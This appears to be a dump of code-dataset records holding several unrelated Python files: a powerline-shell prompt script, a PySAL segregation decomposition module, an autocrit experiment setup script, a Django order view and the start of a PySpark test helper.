add_username_segment(powerline):\n import os\n if powerline.args.shell == 'bash':\n user_prompt = ' \\\\u '\n elif powerline.args.shell == 'zsh':\n user_prompt = ' %n '\n else:\n user_prompt = ' %s ' % os.getenv('USER')\n\n if os.getenv('USER') == 'root':\n bgcolor = Color.USERNAME_ROOT_BG\n else:\n bgcolor = Color.USERNAME_BG\n\n powerline.append(user_prompt, Color.USERNAME_FG, bgcolor)\n\n\nadd_username_segment(powerline)\ndef add_hostname_segment(powerline):\n if powerline.args.colorize_hostname:\n from lib.color_compliment import stringToHashToColorAndOpposite\n from lib.colortrans import rgb2short\n from socket import gethostname\n hostname = gethostname()\n FG, BG = stringToHashToColorAndOpposite(hostname)\n FG, BG = (rgb2short(*color) for color in [FG, BG])\n host_prompt = ' %s ' % hostname.split('.')[0]\n\n powerline.append(host_prompt, FG, BG)\n else:\n if powerline.args.shell == 'bash':\n host_prompt = ' \\\\h '\n elif powerline.args.shell == 'zsh':\n host_prompt = ' %m '\n else:\n import socket\n host_prompt = ' %s ' % socket.gethostname().split('.')[0]\n\n powerline.append(host_prompt, Color.HOSTNAME_FG, Color.HOSTNAME_BG)\n\n\nadd_hostname_segment(powerline)\nimport os\n\ndef add_ssh_segment(powerline):\n\n if os.getenv('SSH_CLIENT'):\n powerline.append(' %s ' % powerline.network, Color.SSH_FG, Color.SSH_BG)\n\n\nadd_ssh_segment(powerline)\nimport os\n\nELLIPSIS = u'\\u2026'\n\n\ndef replace_home_dir(cwd):\n home = os.getenv('HOME')\n if cwd.startswith(home):\n return '~' + cwd[len(home):]\n return cwd\n\n\ndef split_path_into_names(cwd):\n names = cwd.split(os.sep)\n\n if names[0] == '':\n names = names[1:]\n\n if not names[0]:\n return ['/']\n\n return names\n\n\ndef requires_special_home_display(name):\n \"\"\"Returns true if the given directory name matches the home indicator and\n the chosen theme should use a special home indicator display.\"\"\"\n return (name == '~' and Color.HOME_SPECIAL_DISPLAY)\n\n\ndef maybe_shorten_name(powerline, name):\n \"\"\"If the user has asked for each directory name to be shortened, will\n return the name up to their specified length. Otherwise returns the full\n name.\"\"\"\n if powerline.args.cwd_max_dir_size:\n return name[:powerline.args.cwd_max_dir_size]\n return name\n\n\ndef get_fg_bg(name):\n \"\"\"Returns the foreground and background color to use for the given name.\n \"\"\"\n if requires_special_home_display(name):\n return (Color.HOME_FG, Color.HOME_BG,)\n return (Color.PATH_FG, Color.PATH_BG,)\n\n\ndef add_cwd_segment(powerline):\n cwd = powerline.cwd or os.getenv('PWD')\n if not py3:\n cwd = cwd.decode(\"utf-8\")\n cwd = replace_home_dir(cwd)\n\n if powerline.args.cwd_mode == 'plain':\n powerline.append(' %s ' % (cwd,), Color.CWD_FG, Color.PATH_BG)\n return\n\n names = split_path_into_names(cwd)\n\n max_depth = powerline.args.cwd_max_depth\n if max_depth <= 0:\n warn(\"Ignoring --cwd-max-depth argument since it's not greater than 0\")\n elif len(names) > max_depth:\n # https://github.com/milkbikis/powerline-shell/issues/148\n # n_before is the number is the number of directories to put before the\n # ellipsis. So if you are at ~/a/b/c/d/e and max depth is 4, it will\n # show `~ a ... d e`.\n #\n # max_depth must be greater than n_before or else you end up repeating\n # parts of the path with the way the splicing is written below.\n n_before = 2 if max_depth > 2 else max_depth - 1\n names = names[:n_before] + [ELLIPSIS] + names[n_before - max_depth:]\n\n if (powerline.args.cwd_mode == 'dironly' or powerline.args.cwd_only):\n # The user has indicated they only want the current directory to be\n # displayed, so chop everything else off\n names = names[-1:]\n\n for i, name in enumerate(names):\n fg, bg = get_fg_bg(name)\n\n separator = powerline.separator_thin\n separator_fg = Color.SEPARATOR_FG\n is_last_dir = (i == len(names) - 1)\n if requires_special_home_display(name) or is_last_dir:\n separator = None\n separator_fg = None\n\n powerline.append(' %s ' % maybe_shorten_name(powerline, name), fg, bg,\n separator, separator_fg)\n\n\nadd_cwd_segment(powerline)\nimport os\n\ndef add_read_only_segment(powerline):\n cwd = powerline.cwd or os.getenv('PWD')\n\n if not os.access(cwd, os.W_OK):\n powerline.append(' %s ' % powerline.lock, Color.READONLY_FG, Color.READONLY_BG)\n\n\nadd_read_only_segment(powerline)\nimport re\nimport subprocess\nimport os\n\ndef get_PATH():\n \"\"\"Normally gets the PATH from the OS. This function exists to enable\n easily mocking the PATH in tests.\n \"\"\"\n return os.getenv(\"PATH\")\n\ndef git_subprocess_env():\n return {\n # LANG is specified to ensure git always uses a language we are expecting.\n # Otherwise we may be unable to parse the output.\n \"LANG\": \"C\",\n\n # https://github.com/milkbikis/powerline-shell/pull/126\n \"HOME\": os.getenv(\"HOME\"),\n\n # https://github.com/milkbikis/powerline-shell/pull/153\n \"PATH\": get_PATH(),\n }\n\n\ndef parse_git_branch_info(status):\n info = re.search('^## (?P\\S+?)''(\\.{3}(?P\\S+?)( \\[(ahead (?P\\d+)(, )?)?(behind (?P\\d+))?\\])?)?$', status[0])\n return info.groupdict() if info else None\n\n\ndef _get_git_detached_branch():\n p = subprocess.Popen(['git', 'describe', '--tags', '--always'],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n env=git_subprocess_env())\n detached_ref = p.communicate()[0].decode(\"utf-8\").rstrip('\\n')\n if p.returncode == 0:\n branch = u'{} {}'.format(RepoStats.symbols['detached'], detached_ref)\n else:\n branch = 'Big Bang'\n return branch\n\n\ndef parse_git_stats(status):\n stats = RepoStats()\n for statusline in status[1:]:\n code = statusline[:2]\n if code == '??':\n stats.untracked += 1\n elif code in ('DD', 'AU', 'UD', 'UA', 'DU', 'AA', 'UU'):\n stats.conflicted += 1\n else:\n if code[1] != ' ':\n stats.not_staged += 1\n if code[0] != ' ':\n stats.staged += 1\n\n return stats\n\n\ndef add_git_segment(powerline):\n try:\n p = subprocess.Popen(['git', 'status', '--porcelain', '-b'],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n env=git_subprocess_env())\n except OSError:\n # Popen will throw an OSError if git is not found\n return\n\n pdata = p.communicate()\n if p.returncode != 0:\n return\n\n status = pdata[0].decode(\"utf-8\").splitlines()\n stats = parse_git_stats(status)\n branch_info = parse_git_branch_info(status)\n\n if branch_info:\n stats.ahead = branch_info[\"ahead\"]\n stats.behind = branch_info[\"behind\"]\n branch = branch_info['local']\n else:\n branch = _get_git_detached_branch()\n\n bg = Color.REPO_CLEAN_BG\n fg = Color.REPO_CLEAN_FG\n if stats.dirty:\n bg = Color.REPO_DIRTY_BG\n fg = Color.REPO_DIRTY_FG\n\n powerline.append(' %s ' % branch, fg, bg)\n stats.add_to_powerline(powerline, Color)\n\n\nadd_git_segment(powerline)\nimport os\nimport re\nimport subprocess\n\ndef add_jobs_segment(powerline):\n pppid_proc = subprocess.Popen(['ps', '-p', str(os.getppid()), '-oppid='],\n stdout=subprocess.PIPE)\n pppid = pppid_proc.communicate()[0].decode(\"utf-8\").strip()\n\n output_proc = subprocess.Popen(['ps', '-a', '-o', 'ppid'],\n stdout=subprocess.PIPE)\n output = output_proc.communicate()[0].decode(\"utf-8\")\n\n num_jobs = len(re.findall(str(pppid), output)) - 1\n\n if num_jobs > 0:\n powerline.append(' %d ' % num_jobs, Color.JOBS_FG, Color.JOBS_BG)\n\n\nadd_jobs_segment(powerline)\ndef add_root_segment(powerline):\n root_indicators = {\n 'bash': ' \\\\$ ',\n 'zsh': ' %# ',\n 'bare': ' $ ',\n }\n bg = Color.CMD_PASSED_BG\n fg = Color.CMD_PASSED_FG\n if powerline.args.prev_error != 0:\n fg = Color.CMD_FAILED_FG\n bg = Color.CMD_FAILED_BG\n powerline.append(\"\\n\", -1, -1, '')\n powerline.append(root_indicators[powerline.args.shell], fg, bg)\n\n\nadd_root_segment(powerline)\nsys.stdout.write(powerline.draw())\n", "repo_name": "frantic1048/Vanilla", "sub_path": "bin/bin/powerline-shell.py", "file_name": "powerline-shell.py", "file_ext": "py", "file_size_in_byte": 17794, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.version_info", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 170, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 170, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 175, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 175, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 176, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "os.sep.join", "line_number": 182, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 182, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 190, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 281, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 291, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 291, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 306, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 308, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 322, "usage_type": "call"}, {"api_name": "lib.color_compliment.stringToHashToColorAndOpposite", "line_number": 323, "usage_type": "call"}, {"api_name": "lib.colortrans.rgb2short", "line_number": 324, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 335, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 345, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 356, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 363, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 398, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 446, "usage_type": "call"}, {"api_name": "os.access", "line_number": 448, "usage_type": "call"}, {"api_name": "os.W_OK", "line_number": 448, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 461, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 470, "usage_type": "call"}, {"api_name": "re.search", "line_number": 478, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 483, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 484, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 513, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 514, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 551, "usage_type": "call"}, {"api_name": "os.getppid", "line_number": 551, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 552, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 555, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 556, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 559, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 582, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 582, "usage_type": "attribute"}]} {"seq_id": "17247211299", "text": "\"\"\"\nDecomposition Segregation based Metrics\n\"\"\"\n\n__author__ = \"Renan X. Cortes , Elijah Knaap , and Sergio J. Rey \"\n\n\nimport warnings\nfrom pysal.explore.segregation.util.util import _generate_counterfactual, _dep_message, DeprecationHelper\n\n# Including old and new api in __all__ so users can use both\n\n__all__ = ['Decompose_Segregation',\n 'DecomposeSegregation']\n\n# The Deprecation calls of the classes are located in the end of this script #\n\ndef _decompose_segregation(index1,\n index2,\n counterfactual_approach='composition'):\n \"\"\"Decompose segregation differences into spatial and attribute components.\n\n Given two segregation indices of the same type, use Shapley decomposition\n to measure whether the differences between index measures arise from\n differences in spatial structure or population structure\n\n Parameters\n ----------\n index1 : segregation.SegIndex class\n First SegIndex class to compare.\n index2 : segregation.SegIndex class\n Second SegIndex class to compare.\n counterfactual_approach : str, one of\n [\"composition\", \"share\", \"dual_composition\"]\n The technique used to generate the counterfactual population\n distributions.\n\n Returns\n -------\n tuple\n (shapley spatial component, \n shapley attribute component, \n core data of index1, \n core data of index2, \n data with counterfactual variables for index1, \n data with counterfactual variables for index2)\n\n \"\"\"\n df1 = index1.core_data.copy()\n df2 = index2.core_data.copy()\n\n assert index1._function == index2._function, \"Segregation indices must be of the same type\"\n\n counterfac_df1, counterfac_df2 = _generate_counterfactual(\n df1,\n df2,\n 'group_pop_var',\n 'total_pop_var',\n counterfactual_approach=counterfactual_approach)\n\n seg_func = index1._function\n\n # index for spatial 1, attribute 1\n G_S1_A1 = index1.statistic\n\n # index for spatial 2, attribute 2\n G_S2_A2 = index2.statistic\n\n # index for spatial 1 attribute 2 (counterfactual population for structure 1)\n G_S1_A2 = seg_func(counterfac_df1, 'counterfactual_group_pop',\n 'counterfactual_total_pop')[0]\n\n # index for spatial 2 attribute 1 (counterfactual population for structure 2)\n G_S2_A1 = seg_func(counterfac_df2, 'counterfactual_group_pop',\n 'counterfactual_total_pop')[0]\n\n # take the average difference in spatial structure, holding attributes constant\n C_S = 1 / 2 * (G_S1_A1 - G_S2_A1 + G_S1_A2 - G_S2_A2)\n\n # take the average difference in attributes, holding spatial structure constant\n C_A = 1 / 2 * (G_S1_A1 - G_S1_A2 + G_S2_A1 - G_S2_A2)\n\n return C_S, C_A, df1, df2, counterfac_df1, counterfac_df2, counterfactual_approach\n\n\nclass DecomposeSegregation:\n \"\"\"Decompose segregation differences into spatial and attribute components.\n\n Given two segregation indices of the same type, use Shapley decomposition\n to measure whether the differences between index measures arise from\n differences in spatial structure or population structure\n\n Parameters\n ----------\n index1 : segregation.SegIndex class\n First SegIndex class to compare.\n index2 : segregation.SegIndex class\n Second SegIndex class to compare.\n counterfactual_approach : str, one of\n [\"composition\", \"share\", \"dual_composition\"]\n The technique used to generate the counterfactual population\n distributions.\n\n Attributes\n ----------\n\n c_s : float\n Shapley's Spatial Component of the decomposition\n \n c_a : float\n Shapley's Attribute Component of the decomposition\n\n Methods\n ----------\n\n plot : Visualize features of the Decomposition performed\n plot_type : str, one of ['cdfs', 'maps']\n \n 'cdfs' : visualize the cumulative distribution functions of the compositions/shares\n 'maps' : visualize the spatial distributions for original data and counterfactuals generated and Shapley's components (only available for GeoDataFrames)\n\n Examples\n --------\n Several examples can be found at https://github.com/pysal/segregation/blob/master/notebooks/decomposition_wrapper_example.ipynb.\n \n \"\"\"\n\n def __init__(self, index1, index2, counterfactual_approach='composition'):\n\n aux = _decompose_segregation(index1, index2, counterfactual_approach)\n\n self.c_s = aux[0]\n self.c_a = aux[1]\n self._df1 = aux[2]\n self._df2 = aux[3]\n self._counterfac_df1 = aux[4]\n self._counterfac_df2 = aux[5]\n self._counterfactual_approach = aux[6]\n\n def plot(self, plot_type='cdfs'):\n \"\"\"\n Plot the Segregation Decomposition Profile\n \"\"\"\n try:\n import matplotlib.pyplot as plt\n except ImportError:\n warnings.warn('This method relies on importing `matplotlib`')\n\n if (plot_type == 'cdfs'):\n if (self._counterfactual_approach == 'composition'):\n plt.suptitle(\n 'Spatial Component = {}, Attribute Component: {}'.format(\n round(self.c_s, 3), round(self.c_a, 3)),\n size=20)\n plt.step(\n self._counterfac_df1['group_composition'].sort_values(),\n self._counterfac_df1['group_composition'].rank(\n pct=True).sort_values(),\n label='First Context Group Composition')\n\n plt.step(\n self._counterfac_df2['group_composition'].sort_values(),\n self._counterfac_df2['group_composition'].rank(\n pct=True).sort_values(),\n label='Second Context Group Composition')\n plt.legend()\n\n if (self._counterfactual_approach == 'share'):\n plt.suptitle(\n 'Spatial Component = {}, Attribute Component: {}'.format(\n round(self.c_s, 3), round(self.c_a, 3)),\n size=20)\n plt.step((self._df1['group_pop_var'] /\n self._df1['group_pop_var'].sum()).sort_values(),\n (self._df1['group_pop_var'] /\n self._df1['group_pop_var'].sum()).rank(\n pct=True).sort_values(),\n label='First Context Group Share')\n\n plt.step((self._df2['group_pop_var'] /\n self._df2['group_pop_var'].sum()).sort_values(),\n (self._df2['group_pop_var'] /\n self._df2['group_pop_var'].sum()).rank(\n pct=True).sort_values(),\n label='Second Context Group Share')\n\n plt.step(\n ((self._df1['total_pop_var'] - self._df1['group_pop_var'])\n / (self._df1['total_pop_var'] -\n self._df1['group_pop_var']).sum()).sort_values(),\n ((self._df1['total_pop_var'] - self._df1['group_pop_var'])\n / (self._df1['total_pop_var'] -\n self._df1['group_pop_var']).sum()).rank(\n pct=True).sort_values(),\n label='First Context Complementary Group Share')\n\n plt.step(\n ((self._df2['total_pop_var'] - self._df2['group_pop_var'])\n / (self._df2['total_pop_var'] -\n self._df2['group_pop_var']).sum()).sort_values(),\n ((self._df2['total_pop_var'] - self._df2['group_pop_var'])\n / (self._df2['total_pop_var'] -\n self._df2['group_pop_var']).sum()).rank(\n pct=True).sort_values(),\n label='Second Context Complementary Group Share')\n plt.legend()\n\n if (self._counterfactual_approach == 'dual_composition'):\n plt.suptitle(\n 'Spatial Component = {}, Attribute Component: {}'.format(\n round(self.c_s, 3), round(self.c_a, 3)),\n size=20)\n plt.step(\n self._counterfac_df1['group_composition'].sort_values(),\n self._counterfac_df1['group_composition'].rank(\n pct=True).sort_values(),\n label='First Context Group Composition')\n\n plt.step(\n self._counterfac_df2['group_composition'].sort_values(),\n self._counterfac_df2['group_composition'].rank(\n pct=True).sort_values(),\n label='Second Context Group Composition')\n\n plt.step(\n (1 -\n self._counterfac_df1['group_composition']).sort_values(),\n (1 - self._counterfac_df1['group_composition']).rank(\n pct=True).sort_values(),\n label='First Context Complementary Group Composition')\n\n plt.step(\n (1 -\n self._counterfac_df2['group_composition']).sort_values(),\n (1 - self._counterfac_df2['group_composition']).rank(\n pct=True).sort_values(),\n label='Second Context Complementary Group Composition')\n\n plt.legend()\n\n if (plot_type == 'maps'):\n if (str(type(self._df1)) !=\n ''):\n raise TypeError(\n 'data is not a GeoDataFrame and, therefore, maps cannot be draw.'\n )\n\n # Subplots\n fig, axs = plt.subplots(2, 2, figsize=(10, 10))\n\n fig.suptitle(\n 'Spatial Component = {}, Attribute Component: {}'.format(\n round(self.c_s, 3), round(self.c_a, 3)),\n size=20)\n fig.subplots_adjust(hspace=1.25, wspace=0.2,\n top=0.95) # hspace space between lines\n fig.tight_layout(rect=[\n 0, 0, 1, 0.925\n ]) # rect is to position the suptitle above the subplots\n\n # Original First Context (Upper Left)\n self._counterfac_df1.plot(column='group_composition',\n cmap='OrRd',\n legend=True,\n ax=axs[0, 0])\n axs[0, 0].title.set_text('Original First Context Composition')\n axs[0, 0].axis('off')\n\n # Counterfactual First Context (Bottom Left)\n self._counterfac_df1.plot(column='counterfactual_composition',\n cmap='OrRd',\n legend=True,\n ax=axs[1, 0])\n axs[1, 0].title.set_text(\n 'Counterfactual First Context Composition')\n axs[1, 0].axis('off')\n\n # Counterfactual Second Context (Upper Right)\n self._counterfac_df2.plot(column='counterfactual_composition',\n cmap='OrRd',\n legend=True,\n ax=axs[0, 1])\n axs[0, 1].title.set_text(\n 'Counterfactual Second Context Composition')\n axs[0, 1].axis('off')\n\n # Original Second Context (Bottom Right)\n self._counterfac_df2.plot(column='group_composition',\n cmap='OrRd',\n legend=True,\n ax=axs[1, 1])\n axs[1, 1].title.set_text('Original Second Context Composition')\n axs[1, 1].axis('off')\n\n\n\n\n\n\n\n\n# Deprecation Calls\n\nmsg = _dep_message(\"Decompose_Segregation\", \"DecomposeSegregation\")\nDecompose_Segregation = DeprecationHelper(DecomposeSegregation, message=msg)", "repo_name": "stiles/notebooks", "sub_path": "lapd-crimes-arrests/notebook/lib/python3.7/site-packages/pysal/explore/segregation/decomposition/decompose_segregation.py", "file_name": "decompose_segregation.py", "file_ext": "py", "file_size_in_byte": 12268, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 24, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pysal.explore.segregation.util.util._generate_counterfactual", "line_number": 54, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 213, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.step", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 239, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "pysal.explore.segregation.util.util._dep_message", "line_number": 304, "usage_type": "call"}, {"api_name": "pysal.explore.segregation.util.util.DeprecationHelper", "line_number": 305, "usage_type": "call"}]} {"seq_id": "7489322226", "text": "import argparse\nimport sys\n\nimport autocrit\n\nimport autocrit_tools.load as load\nfrom autocrit_tools.path import ExperimentPaths\nfrom autocrit_tools.util import random_string\n\nDEFAULT_VERBOSITY = 0\n\nDEFAULT_OPTIMIZER = \"gd\"\nDEFAULT_OPTIMIZER_LR = 0.1\nDEFAULT_OPTIMIZER_MOMENTUM = 0.1\n\nDEFAULT_LOG_KWARGS = {\"track_theta\": True, \"track_f\": True, \"track_g\": False}\n\n\ndef main(args):\n\n ID = args.ID or random_string(6)\n if args.verbosity > 0:\n print(\"creating files for {}\".format(ID))\n\n paths = ExperimentPaths.from_data_dir(args.data_dir,\n network_ID=args.network_ID, optimizer_ID=ID)\n data = load.fetch_data(paths.data)\n\n optimizer_kwargs = extract_optimizer_kwargs(args)\n log_kwargs = setup_log_kwargs(args)\n\n MLP = autocrit.nn.networks.Network.from_json(\n data, paths.network)\n\n if MLP.batch_size is not None:\n loss = MLP.loss_on_random_batch\n else:\n loss = MLP.loss\n\n optimization_experiment = autocrit.OptimizationExperiment(\n loss,\n optimizer_str=args.optimizer,\n optimizer_kwargs=optimizer_kwargs,\n log_kwargs=log_kwargs,\n seed=args.seed)\n\n optimization_experiment.to_json(paths.optimizer)\n\n\ndef extract_optimizer_kwargs(args):\n optimizer_kwargs = {\"lr\": args.optimizer_lr}\n if args.optimizer == \"momentum\":\n if args.optimizer_momentum is not None:\n optimizer_kwargs[\"momentum\"] = args.optimizer_momentum\n else:\n optimizer_kwargs[\"momentum\"] = DEFAULT_OPTIMIZER_MOMENTUM\n\n return optimizer_kwargs\n\n\ndef setup_log_kwargs(args):\n log_kwargs = DEFAULT_LOG_KWARGS.copy()\n if args.log_gradients:\n log_kwargs[\"g_theta\"] = True\n\n return log_kwargs\n\n\ndef setup_parser():\n parser = argparse.ArgumentParser(\n description=\"Create necessary files for an optimization experiment.\")\n\n # PROGRAM\n parser.add_argument(\"-v\", dest=\"verbosity\",\n action=\"store_const\", const=1, default=0,\n help=\"verbosity flag\")\n\n # PATHS\n parser.add_argument(\"--ID\", type=str, default=None,\n help=\"identifier for this optimization problem.\" +\n \"provide to over-ride default behavior, generating a random ID.\")\n parser.add_argument(\"--data_dir\", type=str,\n help=\"path to directory containing dataset.\")\n\n # NETWORK\n parser.add_argument(\"--network_ID\", type=str,\n help=\"identifier for network. must be located inside data_dir \" +\n \"as subdirectory and contain network.json.\")\n\n # OPTIMIZER\n parser.add_argument(\"--optimizer\", type=str, default=DEFAULT_OPTIMIZER,\n help=\"optimizer to apply to network loss. \" +\n \"default is {}\".format(DEFAULT_OPTIMIZER),\n choices=[\"gd\", \"momentum\"])\n parser.add_argument(\"--optimizer_lr\", type=float, default=DEFAULT_OPTIMIZER_LR,\n help=\"learning rate for optimizer. \" +\n \"default is {}\".format(DEFAULT_OPTIMIZER_LR))\n parser.add_argument(\"--optimizer_momentum\", type=float, default=None,\n help=\"momentum level for momentum optimizer. \" +\n \"default is {}\".format(DEFAULT_OPTIMIZER_MOMENTUM))\n parser.add_argument(\"--seed\", type=int, default=None,\n help=\"seed value for np.random and random. if not provided, \" +\n \"defaults to a shared global value in autocrit.experiments.\")\n parser.add_argument(\"--log_gradients\",\n dest=\"log_gradients\", action=\"store_const\", const=True, default=False,\n help=\"flag to log gradients of loss with respect to theta\" +\n \"during training.\")\n\n return parser\n\n\nif __name__ == \"__main__\":\n parser = setup_parser()\n args = parser.parse_args()\n main(args)\n sys.exit(0)\n", "repo_name": "charlesfrye/autocrit_tools", "sub_path": "scripts/setup_optimization_experiment.py", "file_name": "setup_optimization_experiment.py", "file_ext": "py", "file_size_in_byte": 3993, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "autocrit_tools.util.random_string", "line_number": 21, "usage_type": "call"}, {"api_name": "autocrit_tools.path.ExperimentPaths.from_data_dir", "line_number": 25, "usage_type": "call"}, {"api_name": "autocrit_tools.path.ExperimentPaths", "line_number": 25, "usage_type": "name"}, {"api_name": "autocrit_tools.load.fetch_data", "line_number": 27, "usage_type": "call"}, {"api_name": "autocrit_tools.load", "line_number": 27, "usage_type": "name"}, {"api_name": "autocrit.nn.networks.Network.from_json", "line_number": 32, "usage_type": "call"}, {"api_name": "autocrit.nn", "line_number": 32, "usage_type": "attribute"}, {"api_name": "autocrit.OptimizationExperiment", "line_number": 40, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 70, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 116, "usage_type": "call"}]} {"seq_id": "14908745733", "text": "from django.shortcuts import render\r\n\r\nfrom .models import OrderItem\r\nfrom .forms import OrderCreateForm\r\nfrom basket.basket import Basket\r\nfrom .tasks import order_created, order_push\r\n\r\n\r\ndef order_create(request):\r\n basket = Basket(request)\r\n title = 'Оформление заказа'\r\n title1 = 'Спасибо за заказ!'\r\n if request.method == 'POST':\r\n form = OrderCreateForm(request.POST)\r\n if form.is_valid():\r\n order = form.save()\r\n for item in basket:\r\n OrderItem.objects.create(order=order,\r\n gabardin=item['gabardin'],\r\n price=item['price'],\r\n quantity=item['quantity'])\r\n\r\n # очистка корзины\r\n basket.clear()\r\n order_created.delay(order.id)\r\n order_push.delay(order.id)\r\n return render(request, 'orders/created.html', {'order': order, 'title': title1})\r\n else:\r\n form = OrderCreateForm\r\n return render(request, 'orders/create.html', {'basket': basket, 'form': form, 'title': title})\r\n", "repo_name": "EvgeniyGogolevskiy/tkanioptom", "sub_path": "orders/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "basket.basket", "line_number": 10, "usage_type": "name"}, {"api_name": "basket.basket.Basket", "line_number": 10, "usage_type": "call"}, {"api_name": "forms.OrderCreateForm", "line_number": 14, "usage_type": "call"}, {"api_name": "basket.basket", "line_number": 17, "usage_type": "name"}, {"api_name": "models.OrderItem.objects.create", "line_number": 18, "usage_type": "call"}, {"api_name": "models.OrderItem.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.OrderItem", "line_number": 18, "usage_type": "name"}, {"api_name": "basket.basket.clear", "line_number": 24, "usage_type": "call"}, {"api_name": "basket.basket", "line_number": 24, "usage_type": "name"}, {"api_name": "tasks.order_created.delay", "line_number": 25, "usage_type": "call"}, {"api_name": "tasks.order_created", "line_number": 25, "usage_type": "name"}, {"api_name": "tasks.order_push.delay", "line_number": 26, "usage_type": "call"}, {"api_name": "tasks.order_push", "line_number": 26, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 27, "usage_type": "call"}, {"api_name": "forms.OrderCreateForm", "line_number": 29, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 30, "usage_type": "call"}, {"api_name": "basket.basket", "line_number": 30, "usage_type": "name"}]} {"seq_id": "74254322144", "text": "import pandas as pd\nimport numpy as np\n\nfrom pyspark.sql import SparkSession\nfrom pyspark.ml.linalg import Vectors as MLVectors\n\n\nclass PySparkTestData:\n\n def __init__(self, spark=None):\n if spark is None:\n\n 